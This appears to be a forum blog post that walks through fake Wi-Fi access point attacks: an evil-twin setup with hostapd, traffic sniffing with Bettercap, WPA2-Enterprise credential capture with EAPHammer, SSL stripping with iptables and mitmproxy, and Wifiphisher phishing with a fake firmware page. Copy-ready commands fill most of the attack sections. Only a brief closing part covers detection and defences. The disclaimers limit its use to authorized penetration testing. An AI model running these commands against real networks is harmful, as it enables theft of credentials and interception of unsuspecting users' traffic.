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Fake Access Point: Free WIFI Zone!!

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Fake-Access-Point.webp

Fake Access Point: Advanced Techniques, PoC, and Countermeasures​

Index​

  1. Introduction
  2. Understanding Fake Access Point Attacks
    • 2.1. Evil Twin Attack
    • 2.2. Captive Portal Attacks
    • 2.3. Man-in-the-Middle (MITM) Attacks
  3. Setting Up a Fake Access Point (PoC)
    • 3.1. Requirements
    • 3.2. Creating the Fake AP
    • 3.3. Capturing Traffic with Bettercap
    • 3.4. Exploiting Auto-Connect Features
  4. Advanced Techniques
    • 4.1. WPA2-Enterprise Attacks with EAPHammer
    • 4.2. Bypassing HSTS with SSL Stripping
    • 4.3. Automating Attacks with Wifiphisher
  5. Extended PoC: Live Attack Demonstrations
    • 5.1. WPA2-Enterprise Credential Theft with EAPHammer
    • 5.2. SSL Stripping with MITMProxy
    • 5.3. Phishing with Wifiphisher
  6. Defensive Measures
    • 6.1. Detecting Rogue APs
    • 6.2. Preventing Auto-Connect Attacks
    • 6.3. Enforcing Secure Wi-Fi Standards
  7. References and Further Reading
  8. Final Notes

1. Introduction​

A Fake Access Point (FAP) is a rogue Wi-Fi network created to deceive users into connecting to it. This attack method is often combined with Man-in-the-Middle (MITM) and credential harvesting techniques to steal sensitive information.

This guide covers offensive security techniques used in penetration testing, with a detailed proof of concept (PoC) to demonstrate the attack workflow. We also discuss advanced attack techniques and defensive countermeasures.

⚠️ Disclaimer: This guide is for educational and authorized security testing only. Unauthorized access to networks is illegal.

2. Understanding Fake Access Point Attacks​

2.1. Evil Twin Attack​

The Evil Twin technique creates a malicious clone of a legitimate Wi-Fi network to lure victims. Users unknowingly connect to the attacker’s network instead of the real one.

Attackers commonly use:

  • Deauthentication attacks to disconnect users from the real AP.
  • DNS spoofing to redirect users to phishing pages.

2.2. Captive Portal Attacks​

A captive portal attack forces users to enter credentials by simulating a login page. Attackers use this to harvest:

  • Social media, email, or enterprise login credentials.
  • Multi-factor authentication (MFA) codes via phishing.
Tools like Wifiphisher automate this process.

2.3. Man-in-the-Middle (MITM) Attacks​

Once a victim connects to the rogue AP, attackers can:

  • Intercept HTTP/HTTPS traffic with tools like <span>mitmproxy</span>.
  • Inject malicious scripts into unencrypted traffic.
  • Perform SSL stripping to downgrade HTTPS connections.

3. Setting Up a Fake Access Point (PoC)​

3.1. Requirements​

3.2. Creating the Fake AP​

Step 1: Enable Monitor Mode​

Bash: 
airmon-ng check kill
airmon-ng start wlan0

Step 2: Configure Hostapd​

Bash: 
nano hostapd.conf

Bash: 
interface=wlan0mon
ssid=Free_WiFi
channel=6
auth_algs=1
wpa=2
wpa_passphrase=SecurePass

Start the Fake AP:
Bash: 
hostapd hostapd.conf

3.3. Capturing Traffic with Bettercap​

Once users connect to our rogue AP, we can capture and manipulate traffic.

Start Bettercap:
Bash: 
bettercap -iface wlan0mon
Inside Bettercap, enable network sniffing:
Bash: 
net.probe on
net.sniff on

4. Advanced Techniques​

4.1. WPA2-Enterprise Attacks with EAPHammer​

Bash: 
eaphammer -i wlan0mon --target "Company-WiFi" --auth wpa2-ent --creds

4.2. Bypassing HSTS with SSL Stripping​

Bash: 
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
mitmproxy -p 8080 --mode transparent

4.3. Automating Attacks with Wifiphisher​

Bash: 
wifiphisher -aI wlan0mon -p firmware-upgrade

5. Extended PoC: Live Attack Demonstrations​

This section provides a step-by-step proof of concept (PoC) for executing advanced Fake Access Point (FAP) attacks using:

⚠️ Legal Disclaimer: These demonstrations are for authorized penetration testing only. Unauthorized access to networks is illegal.

5.1. WPA2-Enterprise Credential Theft with EAPHammer​

Step 1: Setting Up EAPHammer​

Bash: 
git clone https://github.com/s0lst1c3/eaphammer.git
cd eaphammer
./install.sh

Step 2: Launching the Attack​

Bash: 
eaphammer -i wlan0mon --target "Company-WiFi" --auth wpa2-ent --creds
This spoofs the legitimate SSID and captures credentials when a victim attempts authentication.

5.2. SSL Stripping with MITMProxy​

Step 1: Install MITMProxy​

Bash: 
sudo apt install mitmproxy
Redirect HTTP/HTTPS traffic:
Bash: 
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080

Step 2: Launch MITMProxy​

Bash: 
mitmproxy -p 8080 --mode transparent
This captures and downgrades HTTPS connections when possible.

5.3. Phishing with Wifiphisher​

Step 1: Install Wifiphisher​

Code: 
git clone https://github.com/wifiphisher/wifiphisher.git
cd wifiphisher
sudo python3 setup.py install

Step 2: Launching the Attack​

Bash: 
wifiphisher -aI wlan0mon -p firmware-upgrade
This disconnects victims and presents a fake firmware update page to capture Wi-Fi credentials.

6. Defensive Measures​

6.1. Detecting Rogue APs​

Use
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to detect Fake APs:

Bash: 
kismet -c wlan0
It flags suspicious networks.

6.2. Preventing Auto-Connect Attacks​

  • Disable auto-connect to open Wi-Fi networks.
  • Use a VPN to encrypt traffic.
  • Verify HTTPS & SSL certificates before entering credentials.

6.3. Enforcing Secure Wi-Fi Standards​

Organizations should:

  • Deploy WPA3 + 802.1X for authentication.
  • Use Wireless Intrusion Detection Systems (WIDS).
  • Regularly audit wireless infrastructure.

7. References and Further Reading​

⚠️ Final Notes​

This PoC is for educational and research purposes only. Performing these attacks without explicit permission is illegal and violates cybersecurity ethics.

Latest comments

dEEpEst
‎7 Years of Service‎
I made a tool to show you the security risks that exist when we connect to an untrusted network, especially networks like coffee shops, airports, and many others that offer FREE Wi-Fi.

dEEpEst
‎7 Years of Service‎
dEEpEst made a new blog post:

Fake Access Point: Free WIFI Zone!!

Fake-Access-Point.webp

Fake Access Point: Advanced Techniques, PoC, and Countermeasures​

Index​

  1. Introduction
  2. Understanding Fake Access Point Attacks
    • 2.1. Evil Twin Attack
    • 2.2. Captive Portal Attacks
    • 2.3. Man-in-the-Middle (MITM) Attacks
  3. Setting Up a Fake Access Point (PoC)
    • 3.1. Requirements
    • 3.2. Creating...
Click to expand...

Read the full blog post here...

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